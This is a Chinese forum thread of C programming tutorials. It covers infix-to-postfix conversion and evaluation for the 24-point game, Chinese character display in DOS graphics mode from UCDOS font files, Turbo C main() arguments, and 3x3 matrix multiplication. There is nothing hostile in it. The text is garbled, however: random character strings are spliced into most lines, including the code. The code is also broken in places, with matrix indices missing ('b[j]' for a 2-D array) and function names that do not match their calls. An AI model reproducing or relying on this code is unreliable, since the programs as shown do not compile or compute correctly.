   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
8 ]2 J# k+ ^$ P& {* b4 L表达式 波兰表达式! M: ]; H, k. r6 M- o
A-B AB-
  k3 t6 ~1 I# f+ C9 X  _7 m7 u(A-B)*C+D AB-C*D+. l5 x5 G- H8 S. B+ Q6 I4 k
A*(B+C/D)-E*F ABCD/+*EF*-
7 {0 G4 e6 K3 t; ~% c" q(B+C)/(A-D) BC+AD-/# s8 ^8 H* |# q' O$ V, s

. k2 p+ x$ U5 I7 t: `) B4 ?5 A  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
8 W) j! i# ^! L* o( }
- w1 b+ y1 {) h" p  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。) K& D3 x/ J# R7 W
8 C# ~3 F4 A% \
  下面给出转换和计算的具体实现程序——
3 y1 f+ h; c' h8 V; K. R2 n8 X6 b
) G. M3 \' z& Q+ U5 a) @<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
" b& _4 W+ m. n3 B1 tint first(char c), O, ]* Q/ i2 z; o. r
{ int p;4 H& z, ?( [0 ^8 |
switch(c)' L" N+ W6 V: e, x$ w
{ case '*': p=2; break;
3 c$ x/ B/ i* u( Dcase '/': p=2; break;6 Z9 X+ |6 v2 `7 j
case '+': p=1; break;# |7 s  G) M1 ^: C0 t# n
case '-': p=1; break;- V7 m$ b' d/ m0 `2 t+ r' e
case '(': p=0; break;# \% f7 }9 U# g
case '=': p=-1; break;
7 F( ~) l( d4 \0 D" w$ k! e4 r}7 L0 }) y4 y! X& I/ e% N
return(p);
$ U' q7 J  Q; r/ v' q}, k4 c  m  @, B$ c6 v4 Q* @
/* 此函数实现中缀到后缀的转换 */+ i# X8 ^8 R1 L$ Y
/* M的值宏定义为20 */
: R4 n  t. h! A$ _/* sp[]为表达式数组 */) \4 \( e/ f7 u' h+ U4 w6 L6 {) z+ x, Y
int mid_last()
/ k5 \% h* y4 U3 k# a8 I' g1 F{ int i=0,j=0; char c,sm[M];2 |! f" v/ Q% e. ]6 {7 K/ W0 D2 e
c=s[0]; sm[0]='='; top=0;, ]$ Q& t# v7 e: G- \  t
while(c!='\0')& f3 d; A: F! J; [! t
{ if(islower(c)) sp[j++]=c;9 _1 D7 r! S3 H5 j( Z
else switch(c)
  S8 N& c; R# h! B4 r/ R1 p  b9 I, c{ case '+':
' L3 U% y& a: P: mcase '-':
2 `( W" w. W0 x: O. Vcase '*':& c- q2 z3 s" ?8 g1 P- U( T
case '/': while(first(c)&lt;=first(sm[top])); O- p' b) s9 X) d: A+ I6 o
sp[j++]=sm[top--];
- I2 D! p+ z' G& s6 E' H& osm[++top]=c; break;
* _$ L" D' ~7 `( q$ q. |case '(': sm[++top]=c; break;/ r+ Q. M  O% t
case ')': while(sm[top]!='(')# C9 X+ m; H/ X. e8 j
sp[j++]=sm[top--];6 ?% r# k: m, v' [
top--; break;
3 }8 E0 D/ ?4 xdefault :return(1);
# h- A) R; g5 V3 j, T; J}
/ n9 U; C# J* e' ~, e5 _c=s[++i];9 `; Z# ~1 K( h$ b! ~8 u0 b
}! p' Q$ y% r3 }
while(top&gt;0) sp[j++]=sm[top--];
2 }- c& Z$ J- l0 hsp[j]='\0'; return(0);* f, q/ W( \% w* N2 s
}
$ o: I* l9 v# G- i* V( V; r) e/* 由后缀表达式来计算表达式的值 */' V- F/ V7 Y; E2 W3 m
int calc(), P$ e# e7 J1 Z
{ int i=0,sm[M],tr; char c;
( U# C0 K4 [# l1 v5 z$ [$ v- Qc=sp[0]; top=-1;8 S& x# [8 c( ?9 D. S
while(c!='\0')2 a' g" r9 s7 p7 x/ O* t
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,7 B9 w7 {8 F4 j0 J$ O
这样才可以更方便的处理非一位数,
) f9 e4 t. I  t" |; F+ S8 Uver数组中存放着这些字母所代替的数*/
* {- {0 _1 F2 J8 V( y$ q% O- F( yelse switch(c)# z) m' r: t3 Q
{ case '+': tr=sm[top--]; sm[top]+=tr; break;) m" U; p8 w: t/ V: [
case '-': tr=sm[top--]; sm[top]-=tr; break;3 L( u; [0 l0 U* `* T
case '*': tr=sm[top--]; sm[top]*=tr; break;
! k- e1 c) F7 h5 |. j5 F1 \, N3 y4 Kcase '/': tr=sm[top--];sm[top]/=tr;break;
' i, `7 a6 R- K: ]2 O" {, b% j# d& ndefault : return(1);
5 i! X8 a8 K1 Y$ [" J& C}
1 ~. q$ o/ X3 q& v; e2 S3 Lc=sp[++i];0 h2 H- W3 @( g% g, H% I7 j
}
2 G- Y8 U8 v& S5 F/ Y- l! x' ]if(top&gt;0) return(1);5 J9 N  d1 i% |9 r, l3 S! \7 u
else { result=sm[top]; return(0); }
. g& F& m7 q* u  g: D' g% x5 w}
2 k( e" i1 ]& T5 ?) \* J</FONT>2 n1 e8 k' ~: C5 c! l! |
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
/ B1 F; U$ h1 V& Y0 H! v1 k1 H5 S& \5 w- U* S; D. Y8 {
  最后我总结了一下这其中容易出错的地方——
' Y$ Q' O) J0 S4 I! r% \5 c: S) m% }7 R
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
2 e" X4 i! r- M/ ]- d/ Q
, ]8 ^6 C- R3 ~, N% \  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。  y" G) [! ^3 x+ z
) c4 Q0 c) k2 f7 x% k% G" J
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 " O: R$ X" c! z+ `
+ R; a) W  E' r& V- n! h! r; [2 c
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
. S2 r0 a; L, a  M1 r4 v7 C# ^1 t& v3 ?$ S# [; v7 H; m
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
/ m8 i! F% H8 }
  h, ^0 O8 r8 M  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
* M$ _: ?8 \/ Y* `9 c/ H. j
$ M5 c% ?& q1 {9 X' }  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
, Q* j7 C4 O- x" U1 G' c" @</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
4 H. P1 C% W5 A9 v4 x/ u图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}- j) F' N7 Y, G7 w6 ]0 l; {
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。0 m8 m3 _4 U# v/ X' a# d7 x
  汉字显示的第一步是打开字库文件。 ! D- V* k: A9 l) T; D
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
6 D; o: r% _/ }' `4 e: u3 `  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)- d) G- M: l! }2 t  r" U) N
{
# Y9 C1 l  p& junsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/5 y4 f  l* I- x9 |0 j% M
int rec,i1,i2,i3; /*z:space between;*/) j" J* D* b" C( {* Q: x1 b6 l" ?
long l; /*color:txt color*/' K0 ^5 U1 k, u4 _! _
char by[32]; /*p:HZ str*/' g+ h8 E4 P  e$ y1 p
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
0 J  @" Z2 M# ^( C3 }3 yif(i&gt;0xa1)8 V, L: g+ [# r$ t
if(f==0){3 ~" C% ?/ T) D, j
c1=(i-0xa1)&amp;0x07f;
0 I5 F" F9 ]/ j* H0 U+ ^f=1;! n( c/ M& U( A# @9 H( b& l
}
" L, i0 b1 g2 c, C" @else{
& C+ u& G; Y6 t& `* L( kc2=(i-0xa1)&amp;0x07f;
2 p& |( _& q# p! ?6 Tf=0;
) l. L- M# Q: Q* Y0 x( P& {rec=c1*94+c2;, i* I% w8 S4 B
l=rec*32L;
) @2 |0 w* A& V; @6 K- d4 alseek(handle,l,SEEK_SET);/ C: `$ x7 ~0 P: a
read(handle,by,32);) ^/ X6 T" r) a/ c$ [2 P
for(i1=0;i1&lt;16;i1++)
; t( e( S' ~6 m- Z/ c$ sfor(i2=0;i2&lt;2;i2++)
$ a! G7 Z+ [' X2 i# }for(i3=0;i3&lt;8;i3++)3 _( g' a& i7 y2 g, a9 O
if(GetBit(by[i1*2+i2],7-i3))
* F9 `: [: O! dputpixel(x+i2*8+i3,y+i1,color);
5 L+ n. a# J/ ^% I2 y1 m& C- N( V  ?x=x+z+16;- e7 \" Q2 Z- T5 F5 H
}
0 L  P5 i  {8 W+ e) S}
% V* B% s2 w, Q+ Treturn(x);" c( r  D/ Z5 ?: c/ X0 H; W6 z
}
" D$ u$ d3 y( ?& I6 A' o! j* \函数GetBit定义如下:3 z& R2 E  N9 X
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
2 e! H8 Z) p+ S% [, f' Iint GetBit(unsigned char c,int n)" I1 \3 D) ~( B! Y6 u" s# s
{
5 \0 m6 O  W: L8 n# breturn((c&gt;&gt;n)&amp;1);
+ {" T2 ?/ t2 w( d: M; ?" t}) R) n7 h, ^3 U' W! y/ \# a& Y
汉字显示结束,应该关闭字库文件。
$ L0 \, W8 A, n- U9 ~( }void CloseHz(void)- }# T: r4 |% f
{! {  a3 O5 W5 m
close( handle );" v; `: s" @& M6 y
}
$ z. \" ~2 `  \" Y/ F3 p2 ]#include "\Caic\Include\Hz.h"
* [  ]- p0 \2 S, R9 |#include <GRAPHICS.H>2 c" I4 K0 a+ F2 P9 w6 _
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
: s1 o1 B9 C3 C9 o7 Dconst char* HzStr = "苦丁香C语言辅助学习软件";- G# ~8 S  T0 q! R7 f* E1 l( L. V, X
void main(){
+ G& t" z5 v+ H5 r: k0 s5 oint gr=DETECT,gm;
9 Q7 d$ b8 n- @initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
" H9 x1 c0 l  ?' ]. iOpenHz( Hz16Path );% d, @" b6 ^  t# V- X# I$ i6 W" o
Wrt16Hz(20,20,4,RED,HzStr);9 H1 r( s+ ^6 s& t* I2 u* o
CloseHz();
- q# O$ s3 k- p) h! e+ Tgetch();0 Q1 O* x0 E. l; |* D
closegraph();
: a1 c% a; c5 i+ z+ z}显示24点阵及放大汉字" m$ F0 p6 e# c
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。) V" o& q1 z8 n) u
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。7 o2 x  Q5 ^0 ?0 h& {9 s' ^6 F
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
8 B0 Q* q' i+ ~2 k) Q8 Q/ C" [{
! m9 E& P* [5 R) Y  Nunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/" t$ e' n; }' B3 D: Z! ~
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/  o6 r+ @- [5 a$ x
long l; /*color:汉字颜色*/+ t1 y# F0 u1 ?' k8 U
char by[72]; /*m: x 方向的放大倍数*/
, I' h- k1 s0 k/ P+ D/*n: y 方向的放大倍数*/2 I1 O- e' }+ d& o2 v
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
' j1 m6 N  l, Y" o0 u# lif(i&gt;0xa1)
; I1 w, R7 b+ {if(f==0){
; L, X+ m/ |5 s* B- ^; Dc1=(i-0xa1)&amp;0x7f;6 N) J& ]6 Q8 ?* q
f=1;6 D3 t) F3 `; Y( e7 n8 K+ v# h/ M
}5 s1 ^; Q# L9 I% _# U, G
else{
# B* f' l9 [5 l% jc2=(i-0xa1)&amp;0x7f;# f# g/ f: E# w; d7 P, f( T
f=0;
: t2 W- ]1 K& i( nrec=(c1-15)*94+c2;
4 a! x; {( V. r# K, [# |& t/ M+ Cl=rec*72L;" h: K1 P" b: o% j, k/ ~/ t
lseek(handle,l,SEEK_SET);
; q5 p) V, E) B/ B& Cread(handle,by,72);
6 {0 {+ ?) n3 b! Zfor(i1=0;i1&lt;24*m;i1=i1+m)
" Q* [) a3 I9 z9 ]5 j( wfor(i4=0;i4<M;I4++)
% h8 N' z; U! {; ?# s for(i2=0;i2&lt;=2;i2++)
* @8 a) k  ^( G/ O* s5 vfor(i3=0;i3&lt;8;i3++)
: a5 ^8 U# [3 ], \' rif(GetBit(by[i1/m*3+i2],7-i3))! k5 b: A! t$ I8 w6 H7 W
for(i5=0;i5<N;I5++), h3 c# ^3 h, p: {  _9 Z
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);* ]/ a  @' n9 A; L2 l, {3 A0 n5 B  L
x=x+24*m+z;7 T' T4 {: x/ ]& P
}* d4 |' O' V! r2 a3 c9 [3 v
}, i% Q! T. E5 u
return(x);
  ]9 ~4 @% ]3 k} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
" X6 U! B3 f& J  J* M3 y#include <GRAPHICS.H>
% i+ T4 Z* l5 h#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
6 N! o5 r6 _1 A$ @/ B) g6 T* Hconst char* HzStr = "苦丁香C语言辅助学习软件";
! |2 C# j1 D0 ^* J6 u, yvoid main(){
4 Q, A% @( `$ u% E4 |3 ^5 kint gr=DETECT,gm;, e, t, N: ~. a+ ]# P5 ^
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
7 M( k+ |2 M$ a6 g( bOpenHz( Hz24Path );  y" W0 y# }5 Y+ s% K& U0 M+ F5 f! \
Wrt24Hz(20,20, /*先是在(x,y)*/- s9 t$ M# [% {; @+ [+ c. w& B/ }3 _" W
4, /*汉字间的空格为4*/
$ \8 O% H# ]+ {% V9 aRED, /*用红色显示*/  n9 @0 Q1 ?- O: s
2, /*x 方向放大2倍*/0 Y; F1 v: V& }, a$ a6 ^& j+ _
4, /*y 方向放大4倍*/
% b  W/ P& O9 p* S& |HzStr); /*显示字符串*/
3 Y2 Q: n, K; Z- M6 [CloseHz();
3 {- k4 ~' v9 [; ~3 I0 w% ^getch();
) p2 Z$ r3 j* l" r+ _closegraph();
0 \$ ?  @3 I; r4 M}
& j) O! r( |' H9 E$ c6 u. l</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
1 v- v: x$ L4 R  S3 M' A  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
+ _4 o4 b* L6 {7 k0 ~, e1. main() 参数
7 d- E5 E0 ]- W  m  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。- ^0 ~/ u) Z+ Y
  * argc: 整数,为传给main()的命令行参数个数。/ p/ M8 X! A, l3 }
  * argv: 字符串数组。
# D& O, r" D4 a# q在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
( U( T; y. c. Z对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;3 z0 [7 G% ~$ W; x& f8 F9 s# x6 A
...
# A2 w, a8 @. I6 I: K3 nargv[argc]为NULL。# e+ ?- U, p; l6 i& K; E
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
) w1 v& ^1 r( X4 y0 f) x值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/7 \# d) |/ w8 U  Z! Y
#include&lt;stdio.h&gt;0 _# a( B! n& I6 b
#include&lt;conio.h&gt;
; R2 g# ?# r4 T* |! ~' C/ a#define X 3
" F0 s& F8 ~1 l: [3 Z8 q0 p#define Y 3</P><>int a[X][Y];- q% K2 I; c% Y) h- ?5 Z+ D; p
int b[X][Y];( f( R/ e' a4 T: q
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);/ ]5 B  F, a6 {- W2 ?- m
main()
& y. z( I5 I. W& q{
- W& f! Z+ W% q, o9 mint i,j,temp;
; }& S3 I  W+ L- I% X" ^clrscr();* G! n; x' n$ B8 J1 L6 }' f, T
printf("lease input int matrix b[%d][%d]\n",X,Y);
' s1 b  |+ m: G9 p4 cfor(i=0;i&lt;Y;i++)! ~* a6 w" A9 C1 }- i
for(j=0;j&lt;Y;j++){3 Z% R8 r/ d7 b
scanf("%d",&amp;temp);
8 L0 z0 @9 r4 v1 W% Fb[j]=temp;4 s8 f+ m% t* o% {" H0 h
}) N4 Q2 t/ I" q: q5 ?7 n! F4 J  u
printf("lease input int matrix c[%d][%d]\n",X,Y);
$ e6 H# J! v8 e* Rfor(i=0;i&lt;X;i++)
$ {6 A- a( k1 z& }8 ffor(j=0;j&lt;Y;j++){
  b! Z6 w7 d5 I4 F0 \0 tscanf("%d",&amp;temp);# I8 W2 R1 B0 M6 k- l6 @
c[j]=temp;
, i6 K$ X; Y4 L( C+ ~}
& B+ t4 T8 [* n- _* W. ~. tmatrix(b,c);
& C- `1 h- d, ?/ a" vprintf("Now print resource matrix b[%d][%d]=",X,Y);
0 w2 w2 b. v9 J! A% E$ Rfor(i=0;i&lt;X;i++){
7 t+ N( ~* b- r% k7 N# Xprintf("\n");% h9 }0 I4 y( R: z: H# G; g; W9 @
for(j=0;j&lt;Y;j++)
5 n0 O0 j$ m& z$ d; R4 tprintf("%d ",b[j]);
4 P1 ^  E" F3 o. y3 |" x/ s}1 ]% ?9 ?! T) K4 J3 U0 ~, G
printf("\n");
% _! a; _- D, M8 @9 O% lprintf("Now print resource matrix c[%d][%d]=",X,Y);8 r  h9 n; A# i4 H' X
for(i=0;i&lt;X;i++){4 d: _) o% Z+ k6 ?4 w8 V8 t9 |( `
printf("\n");4 N' a0 ~& l3 F) g. M: Y
for(j=0;j&lt;Y;j++)& w% _/ h, Q; y" Y6 d
printf("%d ",c[j]);
3 k9 U# T# v) t, x8 V' d: G}
+ Y' s4 S. x, Z' s- F- [printf("\n");- v0 B5 h( Q+ v) k/ S3 F6 |
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);3 d- [1 p: _& ^3 T" U5 {2 n, c: t
for(i=0;i&lt;X;i++){
8 f; F3 ^; o) I8 m9 Cprintf("\n");
7 w. I' `, k& \, N" jfor(j=0;j&lt;Y;j++)
3 y* w2 ]! o% t5 S8 [0 l( f5 Z$ gprintf("%d ",a[j]);
! R* `2 k  S: S& X8 l3 u% Z}
7 n6 Y" i, i: f: j  D: sgetch();" V2 h+ ?4 `6 v9 ^: r
return 0;
  {. E9 ^2 ?' Q+ g- I- G}! n. [9 @/ q& d9 U* a
/********************************************************************/
2 _" o$ \5 a- B: l. t$ s( |void matrix(int b[][X],int c[][Y])
" h9 n1 ?* e: w$ I7 E8 y8 x7 V% Q{
0 }) _3 ], ?# \" j+ Vint i,j,k,temp;! N2 |1 L# y9 F3 \6 z* ?( h, y  r! A
for(i=0;i&lt;X;i++)
% \6 ^& L) B2 Z0 U4 m* ]$ gfor(j=0;j&lt;Y;j++){# m# m8 b5 `' T1 b3 o
for(k=0;k&lt;Y;k++)& }) }7 e+ A( v! X
a[j]+=b[k]*c[k][j];
/ ]: z2 o8 x( q}
6 d4 v8 H8 k* r1 N/ ]# f& i# d}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 13:21 , Processed in 0.750007 second(s), 90 queries .

回顶部